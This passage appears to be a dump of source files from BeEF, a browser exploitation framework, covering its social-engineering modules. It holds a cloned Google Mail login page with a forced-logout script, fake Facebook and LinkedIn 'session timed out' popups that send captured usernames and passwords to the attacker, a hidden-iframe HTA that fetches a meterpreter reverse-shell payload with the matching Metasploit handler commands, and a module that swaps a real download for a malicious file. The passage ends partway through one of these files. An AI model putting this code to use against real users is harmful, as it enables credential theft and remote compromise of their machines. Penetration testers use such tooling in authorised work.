position: relative;   top: 0px;   }   .help-link:visited {   color: #fff;   }   .help-link:hover {   color: #fff;   background: #c03523;   text-decoration: none;   }   .help-link:active {   opacity: 1;   background: #ae2817;   } </style> <style type='text/css'>   .main {   width: auto;   max-width: 1000px;   min-width: 780px;   }   .product-info {   margin: 0 385px 0 0;   }   .product-info h3 {   font-size: 1.23em;   font-weight: normal;   }   .product-info a:visited {   color: #61c;   }   .product-info .g-button:visited {   color: #666;   }   .sign-in {   width: 335px;   float: right;   }   .signin-box,   .accountchooser-box {   margin: 12px 0 0;   padding: 20px 25px 15px;   background: #f1f1f1;   border: 1px solid #e5e5e5;   }   .product-headers {   margin: 0 0 1.5em;   }   .product-headers h1 {   font-size: 25px;   margin: 0 !important;   }   .product-headers h2 {   font-size: 16px;   margin: .4em 0 0;   }   .features {   overflow: hidden;   margin: 2em 0 0;   }   .features li {   margin: 3px 0 2em;   }   .features img {   float: left;   margin: -3px 0 0;   }   .features p {   margin: 0 0 0 68px;   }   .features .title {   font-size: 16px;   margin-bottom: .3em;   }   .features.no-icon p {   margin: 0;   }   .features .small-title {   font-size: 1em;   font-weight: bold;   }   .notification-bar {   background: #f9edbe;   padding: 8px;   } </style> <style type='text/css'>   .signin-box h2 {   font-size: 16px;   line-height: 17px;   height: 16px;   margin: 0 0 1.2em;   position: relative;   }   .signin-box h2 strong {   display: inline-block;   position: absolute;   right: 0;   top: 1px;   height: 19px;   width: 52px;   }   .signin-box div {   margin: 0 0 1.5em;   }   .signin-box label {   display: block;   }   .signin-box input[type=text],   .signin-box input[type=password] {   width: 100%;   height: 32px;   font-size: 15px;   direction: ltr;   }   .signin-box .email-label,   .signin-box .passwd-label {   font-weight: bold;   margin: 0 0 .5em;   display: block;   -webkit-user-select: none;   -moz-user-select: none;   user-select: none;   }   .signin-box .reauth {   display: inline-block;   font-size: 15px;   height: 29px;   line-height: 29px;   margin: 0;   }   .signin-box label.remember {   display: inline-block;   vertical-align: top;   margin: 9px 0 0;   }   .signin-box .remember-label {   font-weight: normal;   color: #666;   line-height: 0;   padding: 0 0 0 .4em;   -webkit-user-select: none;   -moz-user-select: none;   user-select: none;   }   .signin-box input[type=submit] {   margin: 0 1.5em 1.2em 0;   height: 32px;   font-size: 13px;   }   .signin-box ul {   margin: 0;   }   .signin-box .training-msg {   padding: .5em 8px;   background: #f9edbe;   }   .signin-box .training-msg p {   margin: 0 0 .5em;   } </style>   <style type='text/css'> .mail .mailPromo {   border: 1px solid #ebebeb;   margin-top: 25px;   padding: 10px 10px 0px 10px; } .mail .mailPromoIcon {   float: left;   padding-bottom: 10px;   padding-right: 9px; } .mail .mailPromoNew {   color: red; } .mail .mailPromoIconLarge {   float: left;   padding-bottom: 10px;   padding-right: 9px;   margin-top: 0px; } .mail .mailPromoHead {   padding-top: 7px;   padding-bottom: 0;   margin-bottom: 5px; } .mail .mailPromoBody {   padding-top: 4px;   margin-bottom: 10px; } .mail ul.mail-links {   list-style: none;   margin: 0;   overflow: hidden; } .mail ul.mail-links li {   float: left;   margin: 0 20px 0 0; } </style> <link rel='publisher' href='https://plus.google.com/103345707817934461425' />   </head>   <body>   <div class='wrapper'>   <div class='google-header-bar'>   <div class='header content clearfix'>   <img class='logo' src='https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_116x41dp.png' alt='Google'>   <span class='signup-button'>   New to Google Mail?   <a id='link-signup' class='g-button g-button-red' href='https://accounts.google.com/SignUp?service=mail&amp;continue=https%3A%2F%2Fmail.google.com%2Fmail%2F%3Ftab%3Dmm&amp;ltmpl=googlemail'>   Create an account   </a>   </span>   </div>   </div>   <div class='main content clearfix'>   <div class='sign-in'> <div class='signin-box'>   <h2>Sign in <strong></strong></h2>   <form id='gaia_loginform' action='javascript:void(0);' method='post'>   <input type='hidden'            name='continue' id='continue' value='https://mail.google.com/mail/?tab=mm'      >   <input type='hidden'            name='service' id='service' value='mail'      >   <input type='hidden'            name='rm' id='rm' value='false'      >   <input type='hidden'            name='dsh' id='dsh' value='-2663017759600220251'      >   <input type='hidden'            name='ltmpl' id='ltmpl' value='googlemail'      >   <input type='hidden'            name='scc' id='scc' value='1'      >   <input type='hidden'          name='GALX'          value='FVvSTtLIZzE'>   <input type='hidden'     id='pstMsg'     name='pstMsg'     value='0'>   <input type='hidden'     id='dnConn'     name='dnConn'     value=''>   <input type='hidden'     id='checkConnection'     name='checkConnection'     value=''>   <input type='hidden'     id='checkedDomains'     name='checkedDomains'     value='youtube'> <input type='hidden' name='timeStmp' id='timeStmp'        value=''/> <input type='hidden' name='secTok' id='secTok'        value=''/> <div class='email-div'>   <label for='Email'><strong class='email-label'>Username</strong></label>   <input type='text' spellcheck='false'             name='Email' id='Email' value=''                 > </div> <div class='passwd-div'>   <label for='Passwd'><strong class='passwd-label'>Password</strong></label>   <input type='password' name='Passwd' id='Passwd'                  > </div>   <input type='submit' class='g-button g-button-submit' name='signIn' id='signIn' onclick='clickedSubmitButton()' value='Sign in'>   <label class='remember' onclick=''>   <input type='checkbox'    name='PersistentCookie' id='PersistentCookie' value='yes'         >   <strong class='remember-label'>   Stay signed in   </strong>   </label>   <input type='hidden' name='rmShown' value='1'>   </form>   <ul>   <li>   <a id='link-forgot-passwd'           href='https://accounts.google.com/RecoverAccount?service=mail&amp;continue=https%3A%2F%2Fmail.google.com%2Fmail%2F%3Ftab%3Dmm'           target='_top'>   Can&#39;t access your account?   </a>   </li>   </ul> </div>   </div>   <div class='product-info mail'> <div class='product-headers'>   <h1 class='redtext'>Google Mail</h1>   <h2>A Google approach to email.</h2> </div>   <p>   Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has: </p> <ul class='features'>   <li>   <img src='https://ssl.gstatic.com/images/icons/feature/filing_cabinet-g42.png' alt=''>   <p class='title'>Lots of space</p>   <p>   Over <span id=quota>2757.272164</span> megabytes (and counting) of free storage.   </p>   </li>   <li>   <img src='https://ssl.gstatic.com/images/icons/feature/nosign-r42.png' alt=''>   <p class='title'>Less spam</p>   <p>Keep unwanted messages out of your inbox.</p>   </li>   <li>   <img src='https://ssl.gstatic.com/images/icons/feature/mobile_phone-42.gif' alt=''>   <p class='title'>Mobile access</p>   <p>Get Google Mail on your mobile phone. <a href='http://www.google.com/intl/en_DE/mobile/mail/#utm_source=en_DE-cpp-g4mc-gmhp&utm_medium=cpp&utm_campaign=en_DE'>Learn more</a></p>   </li> </ul> <ul class='mail-links'>   <li><a href='http://mail.google.com/mail/help/intl/en/about.html' onclick='_gaq.push(['_link', 'http://mail.google.com/mail/help/intl/en/about.html', 'true']); return false;'>   About Google Mail</a></li>   <li><a href='http://mail.google.com/mail/help/intl/en/about_whatsnew.html' onclick='_gaq.push(['_link', 'http://mail.google.com/mail/help/about_whatsnew.html', 'true']); return false;'>New features!</a></li>   <li><a href='http://mail.google.com/mail/help/intl/en/switch.html' onclick='_gaq.push(['_link', 'http://mail.google.com/mail/help/intl/en/switch.html', 'true']); return false;'>Switch to Google Mail</a></li>   <li>   <a href='https://accounts.google.com/SignUp?service=mail&continue=https%3A%2F%2Fmail.google.com%2Fmail%2F%3Ftab%3Dmm&ltmpl=googlemail'>   Create an account   </a>   </li> </ul>   <div class='mailPromo'>   <img src='https://ssl.gstatic.com/images/icons/product/apps-64.png' class='mailPromoIcon'>   <h4>Take Google Mail to work with Google Apps for Business</h4>   <p class='mailPromoBody'>Love Google Mail, but looking for a custom email address for your company?<br>   Get business email, calendar, and online docs @your_company.com.   <a href='http://www.google.com/apps/intl/en/business/gmail.html#utm_campaign=en&amp;utm_source=gmail_en_US&amp;utm_medium=et&amp;utm_term=login_promo'>   Learn more</a></p>   </div>   </div>   <div id='cc_iframe_parent'></div>   </div> <div class='google-footer-bar'>   <div class='footer content clearfix'>   <ul>   <li>© 2016 Google</li>   <li><a href='http://www.google.com/apps/intl/en/business/gmail.html#utm_medium=et&utm_source=gmail-signin-en&utm_campaign=crossnav' target='_blank'>Google Mail for Work</a></li>   <li><a href='http://mail.google.com/mail/help/intl/en/terms.html' target='_blank'>Terms &amp; Privacy</a></li>   <li><a href='http://mail.google.com/support/?hl=en' target='_blank'>Help</a></li>   </ul>   <form>   <select id='lang-chooser' class='lang-chooser' style='display: none;'>   <option value='ms'          >   Bahasa Malaysia   </option>   <option value='ca'          >   Català   </option>   <option value='cy'          >   Cymraeg   </option>   <option value='da'          >   Dansk   </option>   <option value='de'          >   Deutsch   </option>   <option value='en'         selected='selected' >   English   </option>   <option value='en-GB'          >   English (UK)   </option>   <option value='es'          >   Español   </option>   <option value='es-419'          >   Español de Latinoamérica   </option>   <option value='eu'          >   Euskara   </option>   <option value='fil'          >   Filipino   </option>   <option value='fr'          >   Français   </option>   <option value='hr'          >   Hrvatski   </option>   <option value='in'          >   Indonesia   </option>   <option value='it'          >   Italiano   </option>   <option value='sw'          >   Kiswahili   </option>   <option value='lv'          >   Latviešu valoda   </option>   <option value='lt'          >   Lietuvių   </option>   <option value='nl'          >   Nederlands   </option>   <option value='no'          >   Norsk   </option>   <option value='pt-BR'          >   Português (Brasil)   </option>   <option value='pt-PT'          >   Português (Portugal)   </option>   <option value='ro'          >   Română   </option>   <option value='sk'          >   Slovenčina   </option>   <option value='sl'          >   Slovenščina   </option>   <option value='sv'          >   Svenska   </option>   <option value='tl'          >   Tagalog   </option>   <option value='vi'          >   Tiếng Việt   </option>   <option value='tr'          >   Türkçe   </option>   <option value='et'          >   eesti keel   </option>   <option value='hu'          >   magyar   </option>   <option value='pl'          >   polski   </option>   <option value='fi'          >   suomi   </option>   <option value='is'          >   íslenska   </option>   <option value='cs'          >   čeština   </option>   <option value='el'          >   Ελληνικά   </option>   <option value='ru'          >   Русский   </option>   <option value='uk'          >   Українська   </option>   <option value='bg'          >   български   </option>   <option value='sr'          >   српски   </option>   <option value='iw'          >   עברית   </option>   <option value='ur'          >   اردو   </option>   <option value='ar'          >   العربية   </option>   <option value='fa'          >   فارسی   </option>   <option value='mr'          >   मराठी   </option>   <option value='hi'          >   हिंदी   </option>   <option value='bn'          >   বাংলা   </option>   <option value='gu'          >   ગુજરાતી   </option>   <option value='ta'          >   தமிழ்   </option>   <option value='te'          >   తెలుగు   </option>   <option value='kn'          >   ಕನ್ನಡ   </option>   <option value='ml'          >   മലയാളം   </option>   <option value='th'          >   ไทย   </option>   <option value='am'          >   አማርኛ   </option>   <option value='zh-TW'          >   中文 (繁體)   </option>   <option value='zh-CN'          >   中文（简体）   </option>   <option value='ja'          >   日本語   </option>   <option value='ko'          >   한국어   </option>   </select>   </form>   </div> </div>      </div>   </body> </html> \";\n\t}\n\n\tdocument.title = \"Google Mail: Email from Google\";\n\tbeef.browser.changeFavicon(\"https://www.google.com/mail/help/images/favicon.ico\");\n\tlogoutGoogle();\n\tdisplayPhishingSite();\n});\n"
  },
  {
    "path": "modules/social_engineering/gmail_phishing/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        gmail_phishing:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Google Phishing\"\n            description: \"This plugin uses an image tag to XSRF the logout button of Gmail. Continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (although the URL is NOT the Gmail URL).\"\n            authors: [\"floyd @floyd_ch floyd.ch\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/social_engineering/gmail_phishing/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Gmail_phishing < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n\n    xss_hook_url = \"#{base_host}/demos/plain.html\"\n    logout_gmail_interval = 10_000\n    wait_seconds_before_redirect = 1000\n    [\n      { 'name' => 'xss_hook_url',\n        'description' => 'The URI including the XSS to hook a browser. If the XSS is not exploitable via an URI, ' \\\n        'simply leave this field empty, but this means you will loose the hooked browser after executing this module.',\n        'ui_label' => 'XSS hook URI',\n        'value' => xss_hook_url,\n        'width' => '300px' }, {\n          'name' => 'logout_gmail_interval',\n          'description' => 'The victim is continuously loged out of Gmail. This is the interval in ms.',\n          'ui_label' => 'Gmail logout interval (ms)',\n          'value' => logout_gmail_interval,\n          'width' => '100px'\n        }, {\n          'name' => 'wait_seconds_before_redirect',\n          'description' => 'When the user submits his credentials on the phishing page, we have to wait (in ms) ' \\\n          'before we redirect to the real Gmail page, so that BeEF gets the credentials in time.',\n          'ui_label' => 'Redirect delay (ms)',\n          'value' => wait_seconds_before_redirect,\n          'width' => '100px'\n        }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/hta_powershell/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function(){\n\n    var hta_url = '<%= @domain %>' + '<%= @ps_url %>' + '/hta';\n\n    if (beef.browser.isIE()) {\n        // application='yes' is IE-only and needed to load the HTA into an IFrame.\n        // in this way you can have your phishing page, and load the HTA on top of it\n        beef.dom.createIframe('hidden', {'src': hta_url, 'application': 'yes'});\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'HTA loaded into hidden IFrame.');\n    }\n});\n"
  },
  {
    "path": "modules/social_engineering/hta_powershell/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        hta_powershell:\n            enable: true\n            category: [\"Social Engineering\"]\n            name: \"HTA PowerShell\"\n            description: \"Tricks the user into opening and allowing the execution of an HTML Application (HTA), appended to the DOM into an hidden IFrame.<br> If the user allows execution, powershell is used to download the payload (by @mattifestation) from BeEF.<br><br> The default payload is windows/meterpreter/reverse_https, and the attack works on both x86 and x86_64 targets.<br><br>Before launching the module, do the following on Metasploit:<br>use exploit/multi/handler<br>set PAYLOAD windows/meterpreter/reverse_https<br>set LHOST x.x.x.x<br>set LPORT 443<br>set ExitOnSession false<br>set AutoRunScript post/windows/manage/smart_migrate<br>exploit -j -z\"\n            authors: [\"antisnatchor\"]\n            target:\n                user_notify: [\"IE\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/social_engineering/hta_powershell/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Hta_powershell < BeEF::Core::Command\n  def self.options\n    @config = BeEF::Core::Configuration.instance\n    ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')\n\n    [\n      { 'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => @config.beef_url_str },\n      { 'name' => 'ps_url', 'ui_label' => 'Powershell/HTA handler', 'value' => ps_url }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/lcamtuf_download/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\t\n\tvar maliciousurl = '<%= @malicious_file_uri %>';\n\tvar realurl = '<%= @real_file_uri %>';\t\n\tvar w;\n\tvar once = '<%= @do_once %>';\n\n\tfunction doit() {\n\n\t\tif (!beef.browser.isIE()) {\n\t\t\tw = window.open('data:text/html,<meta http-equiv=\"refresh\" content=\"0;URL=' + realurl + '\">', 'foo');\n\t\t\tsetTimeout(donext, 4500);\n\t\t}\n\n\t}\n\tfunction donext() {\n\t\twindow.open(maliciousurl, 'foo');\n\t\tif (once != true) setTimeout(donext, 5000);\n\t\tonce = true;\n\t}\n\tdoit();\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Command executed\");\n});\n"
  },
  {
    "path": "modules/social_engineering/lcamtuf_download/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n       lcamtuf_download:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Lcamtuf Download\"\n            description: \"This module will attempt to execute a lcamtuf download.  The file will be served with an alternative <i>Content-Disposition: attachment</i> header.  For more information please refer to <a href='http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html'>http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html</a> .\"\n            authors: [\"Bart Leppens\"]\n            target:\n                 user_notify: [\"FF\", \"C\"]\n                 not_working: [\"IE\", \"O\"]\n"
  },
  {
    "path": "modules/social_engineering/lcamtuf_download/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Lcamtuf_download < BeEF::Core::Command\n  # set and return all options for this module\n  def self.options\n    [{\n      'name' => 'real_file_uri',\n      'description' => 'The web accessible URI for the real file.',\n      'ui_label' => 'Real File Path',\n      'value' => 'http://get.adobe.com/flashplayer/',\n      'width' => '300px'\n    },\n     {\n       'name' => 'malicious_file_uri',\n       'description' => 'The web accessible URI for the malicious file.',\n       'ui_label' => 'Malicious File Path',\n       'value' => '',\n       'width' => '300px'\n     },\n     { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Run Once', 'store_type' => 'arraystore',\n       'store_fields' => ['do_once'], 'store_data' => [['false'], ['true']],\n       'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true }]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/pretty_theft/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  \n\timgr = \"<%== @imgsauce %>\";\n\tvar answer= '';\n\t// set up darkening\n\tfunction grayOut(vis, options) {\n\t  // Pass true to gray out screen, false to ungray\n\t  // options are optional.  This is a JSON object with the following (optional) properties\n\t  // opacity:0-100         // Lower number = less grayout higher = more of a blackout \n\t  // zindex: #             // HTML elements with a higher zindex appear on top of the gray out\n\t  // bgcolor: (#xxxxxx)    // Standard RGB Hex color code\n\t  // grayOut(true, {'zindex':'50', 'bgcolor':'#0000FF', 'opacity':'70'});\n\t  // Because options is JSON opacity/zindex/bgcolor are all optional and can appear\n\t  // in any order.  Pass only the properties you need to set.\n\t  var options = options || {};\n\t  var zindex = options.zindex || 50;\n\t  var opacity = options.opacity || 70;\n\t  var opaque = (opacity / 100);\n\t  var bgcolor = options.bgcolor || '#000000';\n\t  var dark=document.getElementById('darkenScreenObject');\n\t  if (!dark) {\n\t    // The dark layer doesn't exist, it's never been created.  So we'll\n\t    // create it here and apply some basic styles.\n\t    // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917\n\t    var tbody = document.getElementsByTagName(\"body\")[0];\n\t    var tnode = document.createElement('div');           // Create the layer.\n\t        tnode.style.position='absolute';                 // Position absolutely\n\t        tnode.style.top='0px';                           // In the top\n\t        tnode.style.left='0px';                          // Left corner of the page\n\t        tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            \n\t        tnode.style.display='none';                      // Start out Hidden\n\t        tnode.id='darkenScreenObject';                   // Name it so we can find it later\n\t    tbody.appendChild(tnode);                            // Add it to the web page\n\t    dark=document.getElementById('darkenScreenObject');  // Get the object.\n\t  }\n\t  if (vis) {\n\t    // Calculate the page width and height \n\t    //if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {\n\t    //    var pageWidth = document.body.scrollWidth+'px';\n\t    //    var pageHeight = document.body.scrollHeight+'px';\n\t    //} else if( document.body.offsetWidth ) {\n\t    //  var pageWidth = document.body.offsetWidth+'px';\n\t    //  var pageHeight = document.body.offsetHeight+'px';\n\t    //} else {\n\t    \n\t    // Previous lines were not rendering page background correctly\n\t       var pageWidth='100%';\n\t       var pageHeight='100%';\n\t    //}\n\t    //set the shader to cover the entire page and make it visible.\n\t    dark.style.opacity=opaque;\n\t    dark.style.MozOpacity=opaque;\n\t    dark.style.filter='alpha(opacity='+opacity+')';\n\t    dark.style.zIndex=zindex;\n\t    dark.style.backgroundColor=bgcolor;\n\t    dark.style.width= pageWidth;\n\t    dark.style.height= pageHeight;\n\t    dark.style.display='block';\n\t  } else {\n\t     dark.style.display='none';\n\t  }\n\t}\n\n\t// CURRENTLY NOT USED\n\t// Send done prompt to user\n\tfunction win(){\n\t\tdocument.getElementById('popup').innerHtml='<h2>Thank you for re-authenticating, you will now be returned to the application</h2>';\n\t\tanswer = document.getElementById('uname').value+':'+document.getElementById('pass').value;\n\t}\n\n\n\t// Check whether the user has entered a user/pass and pressed ok\n\tfunction checker(){\n\t\tuname1 = document.getElementById(\"uname\").value;\n\t\tpass1 = document.getElementById(\"pass\").value;\n\t\tvalcheck = document.getElementById(\"buttonpress\").value;\n\t\t\n\t\tif (uname1.length > 0 && pass1.length > 0 && valcheck == \"true\") {\n\t\t\t// Join user/pass and send to attacker\n\t\t\tanswer = uname1+\":\"+pass1\n  \t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer);\t\n\t\t\t// Set lastchild invisible\n\t\t\tdocument.body.lastChild.setAttribute('style','display:none');\n\t\t\tclearInterval(credgrabber);\n\t\t\t// Lighten screen\n\t\t\tgrayOut(false);\n\t\t\t$j('#popup').remove();\n\t\t\t$j('#darkenScreenObject').remove();\n\n\t\t} else if((uname1.length == 0 || pass1.length == 0) && valcheck == \"true\") {\n\t\t\t// If user has not entered any data, reset button\n\t\t\tdocument.getElementById(\"buttonpress\").value = \"false\";\n\t\t\talert(\"Please enter a valid username and password.\");\t\t\n\t\t}\n\t}\n\n\n\t// Facebook floating div\n\tfunction facebook() {\n\n\t\tsneakydiv = document.createElement('div');\n\t\tsneakydiv.setAttribute('id', 'popup');\n\t\tsneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');\n\t\tdocument.body.appendChild(sneakydiv);\n\t\t\n\t\t// Set appearance using styles, maybe cleaner way to do this with CSS block?\n\t\tvar windowborder = 'style=\"width:330px;background:white;border:10px #999999 solid;border-radius:8px\"';\n\t\tvar windowmain = 'style=\"border:1px #555 solid;\"';\n \t\tvar tbarstyle = 'style=\"color: rgb(255, 255, 255); background-color: rgb(109, 132, 180);font-size: 13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: left;height: 30px;\"';\n\t\tvar bbarstyle = 'style=\"color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;\"';\n\t\tvar messagestyle = 'style=\"align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;\"';\n\t\tvar box_prestyle = 'style=\"color: grey;font-size: 11px;font-weight: bold;font-family: tahoma,verdana,arial,sans-serif;padding-left:30px;\"';\n\t\tvar inputboxstyle = 'style=\"width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color: rgb(109,132,180);\"';\t\n\t\tvar buttonstyle = 'style=\"font-size: 13px;background:#627aac;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;\"';\n \n        \tvar title = 'Facebook Session Timed Out';\n\t        var messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';\n        \tvar buttonLabel = '<input type=\"button\" name=\"ok\" value=\"Log in\" id=\"ok\" ' +buttonstyle+ ' onClick=\"document.getElementById(\\'buttonpress\\').value=\\'true\\'\" onMouseOver=\"this.bgColor=\\'#00CC00\\'\" onMouseOut=\"this.bgColor=\\'#009900\\'\" bgColor=#009900>';\n\n\t\t// Build page including styles\n\t\tsneakydiv.innerHTML= '<div id=\"window_container\" '+windowborder+ '><div id=\"windowmain\" ' +windowmain+ '><div id=\"title_bar\" ' +tbarstyle+ '>' +title+ '</div><p id=\"message\" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align=\"right\"> <div id=\"box_pre\" ' +box_prestyle+ '>Email: </div></td><td align=\"left\"><input type=\"text\" id=\"uname\" value=\"\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr><tr><td align=\"right\"><div id=\"box_pre\" ' +box_prestyle+ '>Password: </div></td><td align=\"left\"><input type=\"password\" id=\"pass\" name=\"pass\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr></table>' + '<div id=\"bottom_bar\" ' +bbarstyle+ '>' +buttonLabel+ '<input type=\"hidden\" id=\"buttonpress\" name=\"buttonpress\" value=\"false\"/></div></div></div>';\n\t\t\n\t\t// Repeatedly check if button has been pressed\n\t\tcredgrabber = setInterval(checker,1000);\n\t}\n\n\n\t// Linkedin floating div\n\tfunction linkedin() {\n\n\t\tsneakydiv = document.createElement('div');\n\t\tsneakydiv.setAttribute('id', 'popup');\n\t\tsneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');\n\t\tdocument.body.appendChild(sneakydiv);\n\n\t\t// Set appearance using styles, maybe cleaner way to do this with CSS block?\n\t\tvar windowborder = 'style=\"width:330px;background:white;border: 10px #999999 solid;border-radius:8px;\"';\n\t\tvar windowmain = 'style=\"border:1px #555 solid;\"';\n \t\tvar tbarstyle = 'style=\"color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top,  #919191,  #595959);\"';\n\n//-moz-box-shadow: 0 1px 4px #ccc;-webkit-box-shadow: 0 1px 4px #CCC;-o-box-shadow: 0 1px 4px #ccc;box-shadow: 0 1px 4px #CCC;\n\n\t\tvar bbarstyle = 'style=\"color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;\"';\n\t\tvar messagestyle = 'style=\"align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;\"';\n\t\tvar box_prestyle = 'style=\"color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;\"';\n\t\tvar inputboxstyle = 'style=\"width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;\"';\t\n\t\tvar buttonstyle = 'style=\"font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;\"';\n\t\tvar lilogo = 'https://static.licdn.com/sc/h/95o6rrc5ws6mlw6wqzy0xgj7y';\n        \tvar title = 'Session Timed Out <img src=\"' + lilogo + '\" align=right height=20 width=70 alt=\"LinkedIn\">';\n\t        var messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';\n        \tvar buttonLabel = '<input type=\"button\" name=\"ok\" value=\"Sign In\" id=\"ok\" ' +buttonstyle+ ' onClick=\"document.getElementById(\\'buttonpress\\').value=\\'true\\'\" onMouseOver=\"this.bgColor=\\'#00CC00\\'\" onMouseOut=\"this.bgColor=\\'#009900\\'\" bgColor=#009900>';\n\n\t\t// Build page including styles\n\t\tsneakydiv.innerHTML= '<div id=\"window_container\" '+windowborder+ '><div id=\"windowmain\" ' +windowmain+ '><div id=\"title_bar\" ' +tbarstyle+ '>' +title+ '</div><p id=\"message\" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align=\"right\"> <div id=\"box_pre\" ' +box_prestyle+ '>Email: </div></td><td align=\"left\"><input type=\"text\" id=\"uname\" value=\"\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr><tr><td align=\"right\"><div id=\"box_pre\" ' +box_prestyle+ '>Password: </div></td><td align=\"left\"><input type=\"password\" id=\"pass\" name=\"pass\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr></table>' + '<div id=\"bottom_bar\" ' +bbarstyle+ '>' +buttonLabel+ '<input type=\"hidden\" id=\"buttonpress\" name=\"buttonpress\" 